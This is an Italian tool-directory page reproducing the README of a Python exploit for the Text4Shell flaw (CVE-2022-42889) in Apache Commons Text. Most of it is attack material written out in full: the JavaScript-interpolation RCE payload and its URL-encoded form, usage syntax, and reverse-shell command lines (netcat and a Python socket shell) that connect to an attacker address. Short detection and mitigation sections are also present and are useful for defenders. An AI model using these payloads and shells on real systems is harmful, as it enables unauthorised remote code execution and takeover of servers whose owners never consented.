Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-42889 | Kitploit
Strumenti/GitHubGitHub/engranaabubakar/cve-2022-42889
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneStrumento di Accesso Remoto
GitHubengranaabubakar/cve-2022-42889

CVE-2022-42889

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🚀 Exploit di CVE-2022-42889 (Text4Shell)

Python 3 License CVE

Un exploit in Python per CVE-2022-42889 (Text4Shell), una vulnerabilità critica di esecuzione remota di codice in Apache Commons Text versioni precedenti alla 1.10.0.

📋 Indice

  • Descrizione
  • Dettagli della Vulnerabilità
  • Versioni Interessate
  • Caratteristiche dell'Exploit
  • Requisiti
  • Utilizzo
  • Esempi
  • Come Funziona
  • Rilevamento
  • Mitigazione
  • Riferimenti
  • Disclaimer

📝 Descrizione

Questo exploit ha come bersaglio CVE-2022-42889 (Text4Shell), una vulnerabilità in Apache Commons Text che consente l'Esecuzione Remota di Codice (RCE) tramite stringhe di input appositamente realizzate elaborate dall'interpolatore StringLookup.

La vulnerabilità è simile per impatto a Log4Shell ma interessa una libreria diversa. Quando un input controllato dall'utente viene passato a metodi vulnerabili, un attaccante può eseguire codice arbitrario sul sistema bersaglio.

🎯 Dettagli della Vulnerabilità

  • CVE ID: CVE-2022-42889
  • Punteggio CVSS: 9.8 (Critico)
  • Vettore di attacco: Rete
  • Privilegi richiesti: Nessuno
  • Interazione utente: Nessuna
  • Impatto: Compromissione completa del sistema

Componente Vulnerabile

Apache Commons Text fornisce l'interpolazione delle stringhe attraverso l'interfaccia StringLookup. La lookup interpolator consente la valutazione di espressioni con vari prefissi, tra cui:

  • ${script:javascript:...} - Esegue codice JavaScript (motore Nashorn)
  • ${url:UTF-8:...} - Recupera URL (SSRF)
  • ${dns:...} - Ricerche DNS

⚠️ Versioni Interessate

ProdottoVersioni interessateVersione corretta
Apache Commons Text< 1.10.01.10.0
Java< 15 (per RCE)15+ (Nashorn disabilitato)

Nota: Le versioni di Java ≥ 15 non sono vulnerabili a RCE tramite il prefisso script (Nashorn disabilitato), ma potrebbero essere ancora vulnerabili a SSRF tramite i prefissi url e dns.

✨ Caratteristiche dell'Exploit

  • ✅ Esecuzione Remota di Codice (RCE) tramite interpolazione JavaScript
  • ✅ Server-Side Request Forgery (SSRF) tramite interpolazione URL
  • ✅ Codifica URL dei payload malevoli
  • ✅ Esecuzione di comandi personalizzati
  • ✅ Generazione di reverse shell con LHOST/LPORT
  • ✅ Gestione degli errori e visualizzazione delle risposte

📦 Requisiti

  • Python 3.6+
  • libreria requests

Installa le dipendenze:

root@kitploit:~
pip install requests

Utilizzo
bash
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
Argomenti
Argomento	Descrizione	Obbligatorio
-t, --target	Indirizzo IP del bersaglio	✅ Sì
-p, --port	Porta del bersaglio (predefinita: 8080)	❌ No
-c, --command	Comando da eseguire	✅ Sì
--lhost	Il tuo IP per la reverse shell	✅ Sì
--lport	La tua porta per la reverse shell	✅ Sì
💻 Esempi
Esempio 1: Test semplice del comando
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
Esempio 2: Reverse shell con netcat
bash
# Start listener
nc -lvnp 4444

# Run exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
Esempio 3: Reverse shell in Python
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
Esempio 4: Test SSRF
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
🔧 Come Funziona
Costruzione del Payload: Lo script crea una stringa malevola usando la sintassi ${script:javascript:...}:

javascript
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
Codifica URL: I caratteri speciali vengono codificati in URL per garantirne la corretta trasmissione:

text
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
Richiesta HTTP: Lo script invia una richiesta GET a:

text
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
Esecuzione del Comando: Se vulnerabile, il bersaglio valuta il JavaScript ed esegue il comando.
🔍 Rilevamento
Verifica se il tuo sistema è vulnerabile:
Test manuale:

bash
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
Se la risposta contiene 49 invece di ${script:javascript:7*7}, il sistema è vulnerabile.

Controllo della versione:
Controlla i file CHANGELOG o README per la versione di Apache Commons Text
Cerca i file commons-text-*.jar nell'applicazione
🛡️ Mitigazione
Aggiorna Apache Commons Text alla versione 1.10.0 o successiva

xml
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>
Aggiorna a Java 15+ (disabilita il motore JavaScript Nashorn)
Validazione dell'input: implementa una validazione rigorosa dell'input utente
Disabilita l'interpolazione: se non necessario, evita di usare StringSubstitutor.createInterpolator()
Web Application Firewall (WAF): blocca le richieste contenenti pattern ${script:javascript:}
📚 Riferimenti
- [NVD - CVE-2022-42889](https://nvd.nist.gov/vuln/detail/CVE-2022-42889)
- [Sicurezza di Apache Commons Text](https://commons.apache.org/proper/commons-text/security.html)
- [Tarlogic - Analisi di Text4Shell](https://www.tarlogic.com/blog/text4shell-cve-2022-42889/)
- [Avviso CISA](https://www.cisa.gov/news-events/ics-advisories/icsa-22-258-03)

## ⚠️ Disclaimer

Questo exploit è solo a scopo educativo e per test di sicurezza autorizzati. L'uso non autorizzato di questo exploit contro sistemi di cui non si possiede la proprietà o per i quali non si ha esplicito permesso di test è illegale. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo strumento.

## 📄 Licenza

Questo progetto è rilasciato sotto licenza MIT - consulta il file LICENSE per i dettagli.

## 🤝 Contributi

Contributi, segnalazioni di problemi e richieste di funzionalità sono benvenuti! Sentiti libero di consultare la pagina delle issue.

Buon hacking! 🚀
Scarica lo strumento